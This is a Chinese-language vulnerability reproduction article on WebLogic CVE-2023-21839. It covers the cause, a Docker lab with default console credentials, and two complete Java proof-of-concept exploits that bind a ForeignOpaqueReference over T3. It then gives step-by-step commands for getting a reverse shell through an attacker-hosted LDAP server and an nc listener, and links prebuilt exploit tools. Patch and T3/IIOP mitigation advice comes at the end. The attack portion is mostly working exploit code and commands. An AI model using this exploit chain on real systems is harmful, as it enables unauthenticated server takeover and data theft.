声明
本篇文章仅用于漏洞复现和技术研究,切勿将文中涉及攻击手法用于非授权下的渗透行为,出现任何后果与本文章作者无关,切记!!!
一、漏洞概述
WebLogic存在远程代码执行漏洞(CVE-2023-21839 /CNVD-2023-04389),由于WebLogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server 可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据信息泄露。
二、影响范围
- WebLogic_Server =
12.2.1.3.0
- WebLogic_Server =
12.2.1.4.0
- WebLogic_Server =
14.1.1.0.0
三、漏洞成因
由于WebLogic T3/IIOP协议支持远程绑定对象bind到服务端,并且可以通过 lookup 查看,当远程对象继承自 OpaqueReference 时,lookup查看远程对象,服务端会调用远程对象 getReferent 方法。Weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference 并且实现了getReferent 方法,并且存在 retVal = context.lookup(this.remoteJNDIName) 实现,故可以通过rmi/ldap远程协议进行远程命令执行。
四、漏洞复现
安装docker部署环境
docker search weblogic
docker pull ismaleiva90/weblogic12
docker run -dit -p 7001:7001 -p 7002:7002 --restart=always ismaleiva90/weblogic12:latest
docker ps
容器环境现在运行…
访问 http://X.X.X.X:7001/console 账密:weblogic/welcome1
本次复现环境版本为:WebLogic Server 12.1.3.0.0
POC代码如下:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }
}
}
编译后工具下载:https://github.com/DXask88MA/Weblogic-CVE-2023-21839
DNSLOG探测:java -jar Weblogic-CVE-2023-21839.jar X.X.X.X:7001 ldap://XXX.dnslog.cn
漏洞检测效果:
使用 Weblogic-CVE-2023-21839.jar 工具进行验证可以看到DNSLOG回显数据。
命令执行弹Calc
POC如下:
使用main方法创建了一个getInitialContext方法并使用getInitialContext方法,创建初始上下文并使用T3协议与WebLogic服务器连接,然后创建了一个weblogic.deployment.jms.ForeignOpaqueReference类的实例并通过反射机制访问私有字段以设置远程JNDI名称,并将其绑定到WebLogic服务器上的"bind"命名对象,导致命令执行漏洞。
Tips: 引入wlfullclient.jar
模块
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class BindRce
{
static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext(String url) throws NamingException
{
Hashtableenv = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
//iiop
public static void main(String args[]) throws Exception
{
InitialContext c = getInitialContext("t3://xx.xx.xx.xx:7001");
Hashtableenv = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f = new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env);
Field remoteJNDIName = weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f, "ldap://xx.xx.xx.xx /basic/Command/calc");
c.bind("XXX121", f);
c.lookup("XXX121");
}
}
GetShell:
使用 JNDIExploit-1.4-SNAPSHOT.jar 工具启动ldap服务
工具下载地址:https://github.com/WhiteHSBG/JNDIExploit
Vps启用LDAP服务
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip(VPS的IP地址)
Vps启用监听反弹端口
nc -lvnp 1234
在本机上执行漏洞利用代码
java.exe -jar Weblogic-CVE-2023-21839.jar X.X.X.X:7001 ldap://Vps-ip:1389/Basic/ReverseShell/Vps-ip/1234
返回 Response Code 200回到监听这里查看会话
成功反弹Shell !!!
上述利用方法是通过.jar文件方式,为了更加方便,可将利用工具打包为 .exe程序。
这里推荐一个工具,是将利用工具的jar
文件打包成exe
可执行程序。
工具下载地址:https://github.com/4ra1n/CVE-2023-21839
执行的命令与上相同,只不过这是直接exe来执行。
最终达到命令执行并反弹Shell操作。
五、修复建议
目前厂商已发布升级补丁并修复漏洞,补丁下载链接如下:
https://support.oracle.com/rs?type=doc&id=2917213.2F
缓解措施:禁用T3以及IIOP
针对T3协议使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议。
连接筛选器:weblogic.security.net.ConnectionFilterImpl
安全->筛选器
0.0.0.0/0 * 7001 deny t3 t3s #拒绝所有访问
允许和拒绝指定IP规则示例:
172.16.1.0/24 * 7001 allow t3 t3s #允许指定IP段访问
172.16.2.0/24 * 7001 deny t3 t3s #拒绝指定IP段访问
连接筛选器说明参考(英文):https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377
禁用IIOP协议
在Weblogic控制台中,选择 "base_domain" -> " 监视"进入"AdminServer"-> "协议" -> "IIOP" 中,取消 "启用IIOP" 的勾选。并重启Weblogic项目,使配置生效。